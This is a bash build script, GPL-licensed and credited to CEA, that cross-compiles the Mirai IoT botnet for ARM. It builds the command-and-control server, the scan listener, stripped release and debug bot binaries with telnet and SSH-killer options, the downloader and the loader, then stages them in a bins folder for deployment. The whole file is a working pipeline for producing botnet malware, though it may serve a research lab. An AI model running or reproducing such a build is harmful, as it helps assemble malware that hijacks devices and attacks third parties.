#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root" 1>&2
   echo "Usage : sudo -E $0 </absolute/path/to/buildroot/toolchain/bin>" 1>&2
   exit 1
fi

if [ $# -ne 1 ]; then
    echo "[!] You must specify the absolute path to the Buildroot cross-compilation toolchain." 1>&2
    echo "Usage : sudo -E $0 </absolute/path/to/buildroot/toolchain/bin>" 1>&2
    exit 1
fi

cross_gcc=""
cross_strip=""
toolchain_directory=$1

if [ ! -d "$toolchain_directory" ]; then
    echo "[!] The specified cross-compilation toolchain directory does not exist." 1>&2
    exit 1
fi


while IFS= read -r file; do
    if [ -z "$cross_gcc" ]; then
        echo "[+] Found GCC toolchain at: $file"
        cross_gcc="$file"
    fi
done < <(find "$toolchain_directory" -name "*-gcc" 2>/dev/null)


while IFS= read -r file; do
    if [ -z "$cross_strip" ]; then
        echo "[+] Found STRIP toolchain at: $file"
        cross_strip="$file"
    fi
done < <(find "$toolchain_directory" -type f -executable -name "*-strip" 2>/dev/null)

echo "[+] Installing golang and electric-fence..."
apt-get install -y golang electric-fence

echo "[+] Compiling the Command and Control server..."
cd Mirai-Source-Code/mirai
go mod init mirai
export GOPROXY=direct

sudo -E go get github.com/go-sql-driver/mysql@v1.8.1
sudo -E go get github.com/mattn/go-shellwords@v1.0.12

mkdir -p release
mkdir -p debug

go build -o release/cnc cnc/*.go
go build -o debug/cnc cnc/*.go

echo "[+] Compiling the ScanListener..."
go build -o release/scanListen tools/scanListen.go
go build -o debug/scanListen tools/scanListen.go

echo "[+] Compiling Mirai Malware for ARM architecture..."
echo "[+] Compiling release version of Mirai..."
rm release/mirai.*
"$cross_gcc" -std=c99 -DMIRAI_TELNET -DKILLER_REBIND_SSH -static bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/mirai.arm7 -DMIRAI_BOT_ARCH=\"armv7l\"
"$cross_strip" release/mirai.arm7 -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr

echo "[+] Compiling debug version of Mirai..."
"$cross_gcc" -std=c99 -DDEBUG bot/*.c -DMIRAI_TELNET -static -g -o debug/mirai.arm7

echo "[+] Compiling the DLR..."
cd ../dlr
mkdir -p release/

"$cross_gcc" -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm
"$cross_gcc" -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7

"$cross_strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm
"$cross_strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7

echo "[+] Compiling the Loader..."
cd ../loader
./build.sh
./build.debug.sh

mkdir -p bins/

echo "[+] Moving compiled files to the release directorys..."
cp ../mirai/release/mirai.arm7 bins/
cp bins/mirai.arm7 bins/mirai.arm
cp ../mirai/release/scanListen .
cp ../dlr/release/* bins/

cd ../mirai/
cp prompt.txt release/
cp prompt.txt debug/

echo "[+] Compilation process complete."
